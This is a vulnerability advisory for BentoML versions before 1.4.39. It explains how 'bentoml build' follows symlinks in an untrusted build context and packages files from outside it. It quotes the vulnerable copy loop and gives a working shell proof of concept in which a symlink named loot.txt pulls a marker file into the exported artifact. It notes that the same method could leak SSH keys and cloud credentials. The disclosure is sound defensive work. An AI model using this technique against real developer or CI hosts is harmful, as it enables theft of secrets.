| Package | Affected versions | Patched versions |
|---|---|---|
| bentoml | < 1.4.39 | 1.4.39 |
| bentoml | < 1.4.39 | 1.4.39 |
BentoML's bentoml build packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact.
If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as loot.txt -> /tmp/outside-marker.txt or a link to a more sensitive local file. When bentoml build runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows.
The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory:
for root, _, files in os.walk(ctx_path):
for f in files:
dir_path = os.path.relpath(root, ctx_path)
path = os.path.join(dir_path, f).replace(os.sep, "/")
if specs.includes(path):
src_file = ctx_path.joinpath(path)
dst_file = target_fs.joinpath(dest_path)
shutil.copy(src_file, dst_file)
There is no validation that the resolved path of src_file remains inside ctx_path before shutil.copy dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from attacker-controlled repository content to developer/CI host filesystem during the build process.
This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact.
The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory.
mkdir -p /tmp/bento-symlink-poc
cd /tmp/bento-symlink-poc
printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt
cat > service.py <<'EOF'
import bentoml
@bentoml.service
class Demo:
@bentoml.api
def ping(self, x: str) -> str:
return x
EOF
cat > bentofile.yaml <<'EOF'
service: "service:Demo"
include:
- "service.py"
- "loot.txt"
EOF
ln -s /tmp/outside-marker.txt loot.txt
bentoml build --output tag
bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip
mkdir -p /tmp/poc-unzip
unzip -o /tmp/poc.zip -d /tmp/poc-unzip
find /tmp/poc-unzip -name loot.txt -print
cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \
find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \;
The script creates outside the build context as a stand-in for a sensitive local file.
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It creates loot.txt as a symlink to the external marker file.
It runs bentoml build, exports the generated Bento, unzips it, and reads the packaged src/loot.txt.
Successful exploitation is confirmed when the packaged file contains BENTOML_SYMLINK_POC_123456, proving that BentoML copied the external file contents rather than keeping only the symlink.
An attacker who can cause a developer, release engineer, or CI system to run bentoml build on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact.
This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.